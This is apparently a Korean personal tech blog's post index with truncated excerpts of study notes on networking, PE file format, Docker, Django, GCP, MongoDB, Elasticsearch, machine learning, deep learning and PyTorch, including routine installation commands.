이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu Error detection EDC : error detection, correction bits D : error checking에 의해 보호되는 Data Error detection의 매커니즘은 위의 그림처럼 link를 거친 D`를 EDC function에 넣은 결과값을 EDC`와 비교하는 것이다. 즉, EDCfunc(D`) =

(데이터통신) chapter 4.2 : Router [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu Router architecture Router 내부 구조는 아래의 그림과 같다. ㆍrouter input ports 먼저 input port의 내부를 살펴보자. > line termination 물리 계층의 신호를 통해 비트의 나열로 바꾸는 역할을 함 > link layer protocol 데이터 링크 계층의 프로토콜이 동작한다.

(데이터통신) chapter 4.3 : IP, Internet Protocol [내부링크]

이 글에서 사용되는 모든 사진과 내용은 Computer Networking A Top-Down Approach (7th.edition) 에서 나오는 것입니다. 또한 저의 생각도 담겨있기 때문에 정확하지 않은 부분이 있을 수도 있습니다. 틀린 부분이 있다면 댓글 부탁드립니다. These PowerPoint sides are copyright 1996-2016 J.F. Kurose, K.W. Ross All Rights Reserved. Last update: July 4, 2016 Comments welcome: kurose at cs.umass.edu The Internet network layer : Internet IP protocol 인터넷 상에 존재하는 호스트들을 어떤 이름으로 부를 것인가에 대한 규칙을 담당한다. 또한 데이터그램의 format이 어떻게 되는지, 어떻게 다룰지에 대해서도 IP protocol에서 처리한다. routing protocol 어느 경로로 데이터그램

(악성코드분석) PE File Format / PE Header [내부링크]

PE File Format PE File Format은 Windows OS에서 동작하는 실행 파일의 구성 방식을 뜻한다. 실행 파일이 어떻게 구성되어야 하는지를 정의해놓은 것을 의미하기도 한다. PE File Format을 공부하기에 앞서 PE File이 어떻게 생성되는지부터 알아보도록하자. PE File 생성 과정 PE File을 만들 때 우리는 일반적으로 개발 도구(예를 들면 Visual Studio)를 사용한다. 일반적인 흐름은 다음과 같다. (컴파일러 언어의 경우) 개발 도구를 사용해 코드를 작성한 후 → 컴파일을 거치고 → 최종적으로 실행파일 생성 여기서 PE File 생성에 큰 영향을 미치는 단계는 바로 compile 단계이다. 때문에 우리는 compile 단계에 집중해서 공부해보도록 하자. Compile 컴파일을 진행하게 되면 컴퓨터는 먼저 코드와 데이터를 분리시키는 작업을 한다. 이후 코드는 기계어로, 데이터는 ASCII 값으로 바꾸는 작업을 한다. 이제 컴퓨터는 이

(Docker) Docker 설치 for windows [내부링크]

만약 자신의 운영체제가 mac이라면 아래의 포스트를 참고하도록 하자. (Docker) Docker 설치 for mac 만약 자신의 운영체제가 windows라면 아래의 포스트를 참고하도록 하자. Docker Desktop 설치 Docker는 ... blog.naver.com 도커 엔진 설치 Docker는 리눅스 기반의 프로그램이다. 때문에 리눅스에서 사용하는 것이 일반적이지만 윈도우에서 먼저 사용해보면서 Docker와 친해져보도록 하자. Docker ToolBox 도커 툴박스는 윈도우를 사용하지만 리눅스를 자주 사용하는 사람들을 위한 것이다. 도커 툴박스는 아래의 두 조건을 만족해야지 사용할 수 있다. ㆍWindows 7 이상, 64Bit 운영체제 ㆍ하드웨어 가상화 기술 지원 컴퓨터 하드웨어 가상화 기술 지원 여부는 아래에서 확인해볼 수 있다. 위 2가지 조건을 모두 만족한다면 아래의 링크에서 Docker Toolbox를 다운로드 받도록 하자. Releases · docker-arch

(Docker) Docker 개요 [내부링크]

가상 머신과 도커 컨테이너 클라우드 컴퓨팅에서 가상화란, 하드웨어 기능을 시뮬레이션하여 어플리케이션 서버나 스토리지, 네트워크와 같은 유용한 IT 서비스를 생성하는 소프트웨어 아키텍쳐 기술이다. 거의 모든 규모의 비즈니스에서 IT에서 발생하는 비용을 절감하면서 효율성과 오류에 대한 대응력, 가용성 향상 효과를 볼 수 있다. 이처럼 클라우드는 기업이 추구하는 비용 효율적인 부분을 만족시켰기 때문에 이 분야의 규모는 당연히 커질 수 밖에 없다. 여러 가상화 소프트웨어가 존재하지만 개발자들에게 선택받은 소프트웨어는 하이퍼바이저를 이용한 가상머신과 컨테이너를 이용한 도커 방식이다. 가상머신은 호스트(Host) 운영체제 위에 가상화 소프트웨어를 이용하여 여러 개의 게스트(Guest) 운영체제들을 실행시키는 방식이다. 하이퍼바이저(hypervisor)는 가상머신(Virtual Machine)을 생성하고 실행하는 역할과 가상화된 하드웨어와 각각의 가상머신을 모니터링하는 중간 관리자이다. 우리가

(Docker) Docker 기본 명령어 [내부링크]

구조(structure) ~$ docker [command] Docker 명령어는 `docker run ~`, `docker search ~`와 같이 `docker [command]` 형태를 가진다. 이미지 검색 search Docker는 Docker Hub를 통해 이미지를 서로 공유하는 커뮤니티를 구성하고 있다. ~$ docker search [image] `docker search [image]` 명령으로 Docker Hub에서 이미지를 검색할 수 있다. 이 명령어의 상세는 아래의 reference를 참고해보자. docker search docker search: Search [Docker Hub](https://hub.docker.com) for images docs.docker.com 이미지 다운로드, 조회 및 삭제 pull `docker pull [image:tag]` 명령으로 docker hub에서 image를 다운로드 받는다. ~$ docker pull [image:ta

(django) django 설치 및 구성 요소 [내부링크]

개요 django는 python 기반의 웹 프레임워크 중 하나이며 고도의 데이터베이스 기반 서비스를 제공하는 웹 사이트를 만드는데 있어서 수고를 많이 덜어주는 것을 목표로 개발된 프레임워크이다. 당연히 Flask라는 python 웹 프레임워크와 비교를 안 할 수가 없는데, Flask는 정말 최소한의 기능만 제공하기 때문에 추가적인 기능이 필요하다면 구현을 직접 해야하지만 django는 이미 일반적으로 필요한 모든 기능이 내장되어 있다는 것이 차이점이다. 때문에 Flask는 작은 규모의 프로젝트에서 주로 사용하고 django는 비교적 큰 규모의 프로젝트에서 주로 사용한다고 한다. 설치 먼저 pip를 사용하여 django 모듈을 다운로드 받아보자. ~$ pip install django 프로젝트 및 어플리케이션 생성 Django는 하나의 Project 아래 여러 App으로 구성되어있다. 역할을 App 단위로 나누어 관리함으로써 유지보수를 더욱 수월하게 할 수 있다. 그리고 App은 위

(Docker) Docker 설치 for mac [내부링크]

만약 자신의 운영체제가 windows라면 아래의 포스트를 참고하도록 하자. (Docker) Docker 설치 for windows 도커 엔진 설치 Docker는 리눅스 기반의 프로그램이다. 때문에 리눅스에서 사용하는 것이 일반적이지만 윈... blog.naver.com 도커 엔진 설치 Docker는 리눅스 기반의 프로그램이다. windows 운영체제와는 달리 mac은 리눅스를 커널 뿌리로 두고 있기 때문에 설치가 매우 편리하다. 먼저 아래의 링크에서 Docker Desktop을 설치하도록 하자. Developers - Docker Developer productivity tools and a local Kubernetes environment. www.docker.com 자신의 CPU가 어떤 것인지 확인하고 거기에 알맞게 다운로드하면 된다. 필자의 경우 Intel 맥북이기 때문에 맨 상단의 다운로드 버튼을 눌렀다. 다운로드 받은 dmg 파일을 실행한 후, drag and drop을

(Docker) Docker 설치 for Linux / Ubuntu [내부링크]

도커 엔진 설치 Docker는 리눅스 기반의 프로그램이다. windows 운영체제와는 달리 설치가 매우 편리하다. Uninstall Old Versions 만약 예전 버전의 Docker를 사용 중 이라면 삭제해주어야 한다. $ sudo apt-get remove docker docker-engine docker.io containerd runc 저장소 설치 만약 Host에서 단 한번도 docker engine를 설치해본 적이 없다면 저장소를 우선적으로 설치해주어야 한다. 1) apt 패키지를 업데이트하고 아래의 서비스들을 다운로드 한다. $ sudo apt-get update $ sudo apt-get install ca-certificates curl gnupg lsb-release 2) Docker의 GPG Key를 등록한다. $ sudo mkdir -p /etc/apt/keyrings $ curl -fsSL https://download.docker.com/linux/ubunt

(Docker) Docker Image 생성 [내부링크]

Docker Image 생성 이미지를 다운로드 받아서 쓰는 방법은 알고 있으니 이제는 직접 Docker Image를 만들어보도록 하자. 이 포스트에서는 간단한 FastAPI 어플리케이션을 실행하는 서버를 Docker Image로 만들어 볼 것이다. 예제 만들기 먼저 가상환경 세팅과 FastAPI 패키지를 설치해보자. conda create -n venv python=3.8 conda activate venv pip install pip --upgrade pip install "fastapi[all]" 그리고 간단한 FastAPI 어플리케이션을 만들어보자. from fastapi import FastAPI import uvicorn app = FastAPI() @app.get('/hello') def hello(): return { 'message': 'world!' } if __name__ == '__main__': uvicorn.run(app, host="0.0.0.0", port

(MLflow) MLflow 개요 및 구성 [내부링크]

이 포스트에서 사용된 mlflow 버전은 2.X 입니다. MLflow MLflow - A platform for the machine learning lifecycle An open source platform for the end-to-end machine learning lifecycle mlflow.org MLflow가 없었을 때는 구성원 각자 자신의 코드를 작성한 후 모델 학습 시 사용한 파라미터나, 메트릭(metric) 등을 따로 기록해둬야만 했다. 이런 방식은 실험을 추적하기 힘들다. 코드를 재현하기 어렵다. 모델을 패키징한 후 배포하는 방법이 복잡하다. 모델을 중앙 집중적으로 관리하기가 힘들었다. 때문에 MLflow는 Experimentation(실험), reproducibility(재현), deployment(배포) 및 중앙 모델 레지스트리 등을 포함한 ML Lifecycle을 편하게 관리할 수 있도록 해줌으로써 같은 프로젝트에 참여하는 구성원 간 작업 공유가 간편해졌

(GCP) Compute Engine 서버 생성 [내부링크]

Compute Engine Compute Engine 서버 생성 GCP에서 Compute Engine는 하나의 클라우드 서버를 의미한다. (서버 = 인스턴스 = VM(Virtual Machine) = GCP) AWS에서는 EC2로 불린다. Compute Engine 생성 방법은 그렇게 어렵지 않다. GCP 대시보드 옆의 트리를 잘 보면 Compute Engine이 보일텐데 그 버튼을 누르기만 하면 된다. 만약 Compute Engine를 처음 생성한다면 위와 같이 초기화가 진행된다. 초기화가 모두 끝나면 Compute Engine 대시보드에 들어갈 수 있게 되는데 여기서 인스턴스 만들기 버튼을 눌러 서버를 생성할 수 있다. 인스턴스 만들기 버튼을 누르면 아래 같이 클라우드 서버 설정을 위한 페이지로 넘어가게 된다. 이름 : 인스턴스 이름을 지정할 수 있다. 리전, 영역 : 클라우드 서비스를 제공하는 물리적 서버 위치를 지정할 수 있다. 머신 구성 : 컴퓨터 성능을 설정할 수 있다.

(GCP) Cloud Storage 생성 [내부링크]

Cloud Storage Cloud Storage 버킷 생성 구글 클라우드에 Object 저장소를 만들 수 있다. 단순히 Object를 저장하는 용도로만 사용할 수 있으며 머신 러닝 state 파일(pkl), 엑셀 파일(csv) 등 여러 확장자에 대한 저장을 지원한다. GCP 대시보드 옆의 트리를 잘 보면 Cloud Storage가 보일텐데 그 버튼을 누르기만 하면 된다. 대시보드 상단의 '만들기' 버튼을 누르면 Storage를 생성하는 창으로 이동할 수 있다. 버킷 이름 지정 : 자신의 고유한 이름(ID)를 지정한다. 데이터 저장 위치 선택 : 데이터가 물리적으로 저장되는 위치를 설정한다. 데이터의 스토리지 클래스 선택 : 데이터 관리 방식을 지정한다. 객체 엑세스를 제어하는 방식 선택 : Storage에 접근하는 방식을 지정한다. 객체 데이터를 보호하는 방법 선택 : Storage에 저장되는 데이터에 대한 추가적인 보호 서비스를 지정한다. 위 설정을 모두 마치고 Storage를

(GCP) 로컬에서 Cloud Storage에 업로드 및 다운로드 [내부링크]

이 포스트에서의 실습은 Mac/Linux 환경에서 진행되었음을 미리 말씀드립니다. 이전 포스트에서 수행한 작업을 마치고 오는 것을 추천한다. (GCP) Cloud Storage 생성 Cloud Storage Cloud Storage 버킷 생성 구글 클라우드에 Object 저장소를 만들 수 있다. 단순히 Obj... blog.naver.com 로컬에서 Cloud Storage에 업로드 및 다운로드 GCP에서는 Python Cloud Storage API를 지원해준다. 이를 이용해서 Cloud Storage에 자신이 업로드해둔 파일이나 폴더를 파이썬 코드로 작성하여 불러올 수 있다. ※ Document Cloud Storage client libraries | Google Cloud Start writing code for Cloud Storage in C++, C#, Go, Java, Node.js, Python, PHP, Ruby. cloud.google.com 시작하기에 앞서 자신

(MongoDB) 파이썬으로 MongoDB 제어하기 [내부링크]

configuration 원격으로 MongoDB를 사용하기 위해서는 Network interface를 설정해야 한다. /etc/mongod.conf 환경설정 파일에서 Network interface를 본인의 환경에 맞게 수정하도록 하자. # network interfaces net: port: 27017 bindIp: ::, 0.0.0.0 Pymongo 라이브러리 NoSQL DB인 MongoDB는 파이썬, 자바, R 등에서 사용할 수 있다. 파이썬에서는 Pymongo라는 라이브러리가 MongoDB에 명령 및 응답을 해주는 역할을 수행한다. 우선 설치는 아래의 명령을 입력하면 된다. pip install pymongo DB 접근 MongoDB 접속 다른 API와 마찬가지로 MongoDB 또한 API를 사용하기 위해 서버와 연결을 하는 작업이 필요하다. 아래의 코드를 입력하게 되면 MongoDB와 사용자 간 connection이 일어나게 된다. # connection = pymongo.

(Elastic Search) 홈페이지를 통한 Elastic Search 설치 [내부링크]

Elastic Search 개요 Elastic Search은 Apache Lucene를 기반으로 한 online 검색 및 분석 엔진이다. Elastic Search은 대량의 데이터를 자신만의 방법으로 신속하게 저장하고, 인덱싱하고, 검색하고, 분석하며, 검색 결과를 사용자에게 편리하게 제공해준다. 또한 Elastic Search는 분산 시스템이기 때문에 데이터를 여러 Node에 저장하고 검색 작업을 여러 Node에 분산하여 수행할 수도 있다. Elastic Search는 여러 종류의 데이터를 처리할 수 있다. 비정형, 정형 데이터 등 다양한 형식의 데이터를 처리할 수 있으며, RESTful API를 제공하기 때문에 한번 Elastic Search 서버를 띄우면 편리하게 정보를 주고 받을 수 있다. Elastic Search 홈페이지에서 가이드북을 제공하고 있다. 만약 추가적으로 알고 싶은 부분이 있다면 아래를 참고하도록 하자. https://www.elastic.co/guide/in

(Elastic Search) 명령어를 통한 Elastic Search 설치 [내부링크]

Elastic Search 개요 Elastic Search은 Apache Lucene를 기반으로 한 online 검색 및 분석 엔진이다. Elastic Search은 대량의 데이터를 자신만의 방법으로 신속하게 저장하고, 인덱싱하고, 검색하고, 분석하며, 검색 결과를 사용자에게 편리하게 제공해준다. 또한 Elastic Search는 분산 시스템이기 때문에 데이터를 여러 Node에 저장하고 검색 작업을 여러 Node에 분산하여 수행할 수도 있다. Elastic Search는 여러 종류의 데이터를 처리할 수 있다. 비정형, 정형 데이터 등 다양한 형식의 데이터를 처리할 수 있으며, RESTful API를 제공하기 때문에 한번 Elastic Search 서버를 띄우면 편리하게 정보를 주고 받을 수 있다. Elastic Search 홈페이지에서 가이드북을 제공하고 있다. 만약 추가적으로 알고 싶은 부분이 있다면 아래를 참고하도록 하자. https://www.elastic.co/guide/in

(Elastic Search) Python Elastic Search [내부링크]

Elastic Search Elastic Search은 Apache Lucene를 기반으로 한 online 검색 및 분석 엔진이다. Elastic Search은 대량의 데이터를 자신만의 방법으로 신속하게 저장하고, 인덱싱하고, 검색하고, 분석하며, 검색 결과를 사용자에게 편리하게 제공해준다. 또한 Elastic Search는 분산 시스템이기 때문에 데이터를 여러 Node에 저장하고 검색 작업을 여러 Node에 분산하여 수행할 수도 있다. Elastic Search는 여러 종류의 데이터를 처리할 수 있다. 비정형, 정형 데이터 등 다양한 형식의 데이터를 처리할 수 있으며, RESTful API를 제공하기 때문에 한번 Elastic Search 서버를 띄우면 편리하게 정보를 주고 받을 수 있다. Elastic Search 홈페이지에서 가이드북을 제공하고 있다. 만약 추가적으로 알고 싶은 부분이 있다면 아래를 참고하도록 하자. https://www.elastic.co/guide/index

(Elastic Search) Query DSL [내부링크]

추가로 자주 사용하는 것들이 생기면 이 포스트에 기록해두겠습니다. Query DSL(Query Domain Specific Language) Elastic Search에서 사용하는 query는 검색에 사용되는 조건을 지정하는데 사용된다. 여기서 Elastic Search에서는 Query DSL이라는 조금 특이한 방식으로 query를 작성한다. Query DSL은 검색 요청을 JSON으로 작성하는 방법을 의미한다. 이를 통해 검색 조건이나 필터링, 정렬 등 다양한 작업을 수행할 수 있다. 이 포스트에서는 필자가 자주 사용한 query에 대해 간략히 설명하도록 하겠다. match_all { "query": { "match_all": {} } } indexer에 존재하는 모든 document를 반환한다. match { "query": { "match": { "title": "elastic search" } } } 주어진 필드에서 주어진 단어 혹은 구문을 포함하는 모든 document를 반

(Elastic Search) Mapping configuration [내부링크]

Mapping configuration Elastic Search에서 index를 생성하는 단계에서 indexer에 들어올 document의 데이터 구조(schema)를 미리 정의할 수 있다. mapping 설정을 통해 각 필드의 데이터 타입이나 검색 시 해당 필드가 어떻게 처리되어야 하는지 등을 정의할 수 있다. mapping에서 자주 사용하는 설정 값에는 다음과 같은 것들이 있다. { "mappings": { "properties": { "title": { "type": "text", "analyzer": "standard" }, "description": { "type": text", "analyzer": "standard" } } } } properties 필드에 대한 configuation을 수행한다는 의미의 key이다. type 필드의 데이터 타입을 지정한다. text, keyword, integer, long, date, float, double, boolean 등이 있

(머신러닝) 규제화 / L1 규제화와 L2 규제화 [내부링크]

마지막 수정 (10 / 05) ※ 가중치 감쇠 (머신러닝) 규제화 / 편향과 분산 틀린 부분이 있다면 언제든지 지적 부탁드립니다^ㅡ^ 우리는 지금까지 여러 머신 러닝 알고리즘을 배우게 ... blog.naver.com 이전 포스트에서 편향과 분산에 대해 언급하였다. 편향과 분산은 과소적합과 과적합으로 치환하여 비교하기도 한다. 과소적합은 모델이 너무 간단해서 데이터의 관계를 잘 학습하지 못하는 것을 의미한다. 반대로 과적합은 모델이 너무 복잡해서 데이터의 관계를 정확하게 학습하는 것을 의미한다. 정규화는 이러한 과소적합과 과적합 간의 적당한 밸런스를 찾아내는데 큰 도움을 준다. 개요 우리는 각 대학생들의 스펙으로 대학원에 진학할 확률은 예측하고 싶다고 하자. 그렇다면 스펙이 입력변수, 대학원에 진학할 확률이 목표 변수가 된다. 입력 변수와 목표변수를 각각 다른 데이터 프레임으로 옮기고, 곡선 그래프를 구할 것이기 때문에 차수가 높은 다항 회귀 모델을 사용하자. 우리는 6차 다항 회귀

(머신 러닝) 규제화 / L1 규제화와 L2 규제화의 차이점 [내부링크]

※ 가중치 감쇠, L1 규제, L2 규제 L1 규제화 (Lasso Regression) L2 규제화 (Ridge Regression) L1 규제화와 L2 규제화는 식만 비교해보았을 때에는 별반 차이 없어보인다. 하지만 분명 둘은 다른 역할을 한다. 지금부터 둘의 차이가 무엇인지 알아보자. L1 규제화 (Lasso Regression) 먼저 L1 규제화를 그래프로 그려보는 과정을 거쳐보자. 우리는 어떤 2차 다항 회귀를 가지고 있다고 하자. 먼저 L1 규제화를 예로 들어보자 ※ 규제화는 일반적으로 곡선을 다루기 때문에 곡선을 다루는 모델 중 하나인 다항회귀를 예로 들것이다. θ0 은 규제화 식에 포함되지 않으니깐 어떤 상수라 하고 λ 가 1이라고 가정할 때 L1 규제화의 손실함수는 아래와 같을 것이다. 위 손실함수를 이용하여 경사 하강을 모두 마친 값 θ1, θ2이 각각 a, b라고 가정하자. 그리고 난 후 |a| + |b| = k 라고 할 때 k는 정규화 항의 값이 될 것이다. 위

(머신 러닝) 모델 평가 / K-fold 교차 검증 [내부링크]

개요 우리는 이전 포스트에서 모델 평가를 할 때 입력 변수와 목표 변수를 test 데이터와 training 데이터로 나누어 학습 시킨다는 것을 알고 있을 것이다. K겹 교차 검증은 전체 데이터를 K개로 나누어 순차적으로 test 데이터와 training 데이터로 나누어 학습시키는 방법을 의미한다. K겹 교차 검증 만약 10000개의 데이터가 있다고 하자. 그리고 K가 5 라고 한다면 10000개의 데이터를 2000개씩 5개의 묶음(set)으로 나누어 test 데이터와 training 데이터로 분류해서 학습시킨다. 그렇다면 위의 그림과 같이 총 5개의 test 데이터 묶음에 대한 성능이 있을 것이다. 이 5개의 성능에 대한 평균을 모델의 성능으로 보는 것이다. 성능 테스트를 여러번 수행함으로써 모델에 대한 신뢰도를 높이는 역할을 한다. K-겹 교차 검증 방법은 비교적 가용 데이터가 적고 가능한 정확하게 모델을 평가하고자 할 때 사용한다. 시간 복잡도는 O(P * K)가 되므로 여러 번

(머신 러닝) 모델 평가 / Grid Search [내부링크]

개요 우리는 이전 포스트에서 모델을 학습할 때 함수에 파라미터를 넣음으로써 성능을 높일 수 있다는 것을 배웠다. 로지스틱 회귀를 예로 들면 solver, max_iter 파라미터가 그것이다. 이렇게 어떤 값을 넣어주느냐에 따라 성능에 큰 차이가 발생하는 파라미터를 하이퍼 파라미터(hyper parameter)라고 한다. 이제부터 좋은 하이퍼 파라미터를 찾는 방법 중 하나인 grid search에 대해 알아보자. Grid Search 말 그대로 격자 검색이다. 즉, 하이퍼 파라미터들을 격자로 나열한 다음, 가장 우수한 성능을 보이는 하이퍼 파라미터들을 선택하면 된다. (노가다가 맞다. 단지 컴퓨터가 대신해줄 뿐이죠) L2 정규화를 예로 들어보자. 이 모델에서 하이퍼 파라미터는 alpha(λ)와 max_iter 이다. 이제 두 파라미터들로 격자(행렬)로 만들어 모든 경우에서의 성능으로 채우면 된다. 위와 같이 표로 여러 하이퍼 파라미터 값들을 나열한 후, 가장 성능이 좋은 하이퍼 파라미

(머신 러닝) 분류 알고리즘 / 결정트리와 지니 불순도 [내부링크]

틀린 부분 있다면 언제든지 지적 부탁드립니다. 마지막 수정 (09/16) 결정 트리 결정 트리는 어떤 항목에 대한 입력변수와 목표 변수를 연결 시켜주는 모델링 방법이다. 이 모델은 트리 형태라서 시각적이며 명시적인 방법으로 의사 결정 과정과 결과를 쉽게 볼 수 있다. 때문에 데이터 마이닝에서 주로 사용되는 모델이다. 데이터 마이닝에 사용되는 결정 트리가 크기 두가지 종류가 있다는 것을 미리 알고 가보자. ㆍ분류 트리 : 목표 변수를 통해 입력 변수를 분류할 수 있는 경우 ㆍ회귀 트리 : 목표 변수가 특정 의미를 가진 실수인 경우 분류 트리 : 지니 불순도(Gini Impurity) 분류 트리의 목표는 학습 데이터를 여러번 분류해보며, 가장 데이터를 적절하게 잘 분류할 수 있는 어떤 노드를 찾아내는 것이다. 이를 위해서는 손실 함수와 같이 데이터를 잘 분류했는지에 대한 기준이 필요하다. 분류 트리에서는 지니 불순도를 사용하여 기준을 잡는다. 지니 불순도는 분류 데이터가 얼마나 섞여 있

(머신 러닝) 해싱 트릭 [내부링크]

해싱 트릭 (feature hasher) 기계학습에 있어서 특성이 너무 많을 경우 특성 해싱 또는 해싱 트릭이라고 불리는 솔루션을 사용할 수 있다. 컴퓨터가 받아들일 수 있는 특성의 개수는 한정적이다. 수치로 예를 들면, 100만 개의 특성을 4000개의 항목으로 압축할 수 있는 방법이 필요하다. 해싱 트릭은 각 특성을 4000개의 인덱스 중 하나로 해싱함으로써 100만개의 특성을 4000개의 특성 공간에 적합시킨다. 그리고 나서 4000차원 특성 벡터의 해당 인덱스에 있는 숫자에 원래 특성의 값을 더한다. 이 방식은 사용 중인 머신러닝 알고리즘이 개별 특성의 값을 더 이상 볼 수 없기 때문에 시스템 정확도에 영향을 미칠 수 있다. 하지만 실제로는 정확도 저하가 경미한 경우가 많고, 특성의 압축 표현으로 얻을 수 있는 이점이 더 많기 때문에 해싱 트릭을 사용한다고 한다. 아래는 기초적인 해싱 트릭 코드이다. def apply_hashing_trick(feature_dict, vect

(딥 러닝) 완전 연결 신경망(FNN) 개념 [내부링크]

심층 신경망의 기본 단위는 퍼셉트론(perceptron)이다. 여러 개의 퍼셉트론을 서로 어떻게 연결하느냐에 따라 여러 종류로 나뉘는데 이 포스트에서는 대표적인 딥 러닝 모델 중 하나인 완전 연결 신경망에 대해 배워볼 것이다. 완전 연결 신경망 완전 연결 신경망(fully-connected neural network)은 다층 퍼셉트론이 가지는 또 다른 이름이다. 하지만 여러 구조의 심층 신경망이 추가로 발표되며 기존의 다층 퍼셉트론이라는 표현을 사용하기 애매해졌다. 때문에 오늘날에는 완전 연결 신경망이라는 표현을 사용하게 되었다. 완전 연결 계층 한 층(Layer)의 모든 뉴런이 그 다음 층(Layer)의 모든 뉴런과 연결된 상태의 계층을 의미한다. 그림 1 <그림 1>과 같이 이전 층 퍼셉트론들은 다음층 모든 퍼셉트론에 모두 연결(fully-connected)되어 있는 것을 볼 수 있다. FNN을 사용한 MNIST 데이터 셋 훈련(tensorflow) MNIST는 손으로 쓴 숫자들

(딥 러닝) 합성곱 신경망(CNN) 개념 [내부링크]

합성곱 신경망(CNN: Convolutional Neural Network) 심층 신경망의 기본 단위는 퍼셉트론(perceptron)이다. 여러 개의 퍼셉트론을 서로 어떻게 연결하느냐에 따라 여러 종류로 나뉘는데 이 포스트에서는 대표적인 딥 러닝 모델 중 하나인 합성곱 신경망에 대해 배워볼 것이다. CNN은 FNN의 단점을 극복하고자 만들어진 모델이다. 합성곱 신경망은 완전 연결 신경망과는 달리 합성곱 층(Convolutional layer)과 풀링 층(Pooling layer)를 이용하여 입력 데이터의 형상을 유지한다. 출력 또한 3차원 데이터로 출력하여 다음 층(Layer)에 전달하기 때문에 CNN에서는 형상을 가지는 데이터에 대한 학습에 강력한 성능을 보인다. 최근에는 합성곱 신경망(CNN)에 대항하는 비전 트랜스포머(Vision Transformer) 모델들이 떠오르고 있지만 여전히 이미지 분류, 객체 인식 등 이미지 관련 문제에서 가장 많이 사용되는 구조이다. 합성곱 층(C

(딥 러닝) 순환 신경망(RNN) 개념 [내부링크]

수정 : `22.03.05 순환 신경망 (RNN : Recurrent Neural Network) 심층 신경망의 기본 단위는 퍼셉트론(perceptron)이다. 여러 개의 퍼셉트론을 서로 어떻게 연결하느냐에 따라 여러 종류로 나뉘는데 이 포스트에서는 대표적인 딥 러닝 모델 중 하나인 순환 신경망에 대해 공부해볼 것이다. 순환 신경망(RNN)은 시계열 데이터와 같이 시간의 흐름에 따라 변화하는 데이터를 학습하기 위한 신경망이다. 따라서, 과거의 출력을 재귀적(recurrent)으로 참조하려한다. FNN, CNN은 입력 데이터에 대해서만 동작하기 때문에 연속적인 데이터를 처리하기가 어렵다. 하지만 RNN은 재귀적 특성(자기 자신을 참조) 때문에 현재 결과가 이전 결과와 연관성을 가지게 된다. 이런 특징 때문에 RNN은 시계열 데이터나 음성, 문자 등과 같이 순차적으로 등장하는 데이터 처리에 좋은 성능을 가진다. 셀(Cell) 은닉층에서 활성화 함수를 통해 결과를 내보내는 역할을 하는 노

(딥 러닝) 장단기 메모리(LSTM) 개념 [내부링크]

조금 많이 어렵네요ㅠㅠ 틀린 부분 있다면 언제든지 지적 부탁드립니다. LSTM 탄생 배경 (딥 러닝) 순환 신경망(RNN) 개념 수정 : `22.03.05 순환 신경망 (RNN : Recurrent Neural Network) 심층 신경망의 기본 단위는 ... blog.naver.com 기존 고전적인 RNN 방식은 짧은 시계열 데이터에 대해서만 강한 효과를 띄는 단점이 존재했다. Cell을 통한 재귀적 학습을 반복할 수록 앞의 데이터가 뒤로 충분히 전달되지 못하는 현상이 발생하기 때문이다. 기존 RNN 구조 그림이다. 만약 첫 번째 입력 변수가 가장 중요한 변수라고 가정해보자. RNN의 재귀적 특징 때문에 학습을 이어갈 수록 이전 층의 정보는 점차 사라지게 될 것이다. 결국 시간이 충분히 긴 상황에서는 첫 번째 입력 변수에 대한 가중치는 잊어버리게 될 것이다. 이를 장기 의존성 문제(The Problem of Long-Term Dependencies)라고 한다. LSTM을 공부하기

(데이터 과학) CUDA 설치 for windows / Pytorch [내부링크]

구글 Colab에 종속되어버린 나,,, 나의 데스크탑에 독립된 개발환경을 구축하기 위해서 Colab을 잠시 버려보기로 했다. 내 컴퓨터의 GPU를 쓰기 위해서는 "CUDA"를 설치해야 한다는데 여간 복잡한게 아니다. 너무 복잡해서 정리하며 설치해보려고 한다... (어떻게 환경설정하는데에만 수 시간이 걸리는거야ㅡㅡ 내시간...) 잘못되면 모두 삭제한뒤 처음부터 다시 해야하는 불상사가 발생하므로 순서대로 차근차근히 설치해보자. 시작하기 이전에 이 포스트는 Window 10 환경에서 진행되었음을 미리 말해놓겠다. 1. 자신의 그래픽카드 종류 확인 우선 "장치 관리자" 창에서 자기 컴퓨터의 그래픽 카드가 무엇인지 확인해본다. 내 컴퓨터의 경우에는 NVIDIA GeForce GTX 1650을 사용한다고 한다. 2. 그래픽 드라이버 설치 내 그래픽카드가 무엇인지 알았으니 이제 드라이버를 설치해보자. 최신 공식 NVIDIA 드라이버 다운로드 최신 공식 NVIDIA 드라이버 다운로드 www.nvi

(pytorch) pytorch random [내부링크]

가끔씩 까먹을 때가 있어서 정리해둡니다ㅎㅎ torch.rand(n) torch.rand — PyTorch 1.11.0 documentation torch.rand torch. rand ( *size , * , out=None , dtype=None , layout=torch.strided , device=None , requires_grad=False ) → Tensor Returns a tensor filled with random numbers from a uniform distribution on the interval [0, 1) [ 0 , 1 ) The shape of the tensor is defined by the variable argument size .... pytorch.org 0 ~ 1 사이의 숫자를 n개 생산하는 메소드 >>> torch.rand(4) tensor([ 0.5204, 0.2503, 0.3525, 0.5673]) >>> torch.rand(2,

(pytorch) torch.nn.Embedding [내부링크]

nn.Embedding() Embedding — PyTorch 1.11.0 documentation Parameters num_embeddings ( int ) – size of the dictionary of embeddings embedding_dim ( int ) – the size of each embedding vector padding_idx ( int , optional ) – If specified, the entries at padding_idx do not contribute to the gradient; therefore, the embedding vector at padding_idx is not update... pytorch.org 코드 리뷰를 하다가 신기한 기술을 보았다. 바로 label 정보를 Embedding 차원으로 매핑하여 네트워크의 input으로 넣는 것이다. 아래와 같이 input feature에 label 정보를 추가할 수 있다는 것을 알게되었

(pytorch) "one of the variables needed for gradient computation has been modified by an inplace" [내부링크]

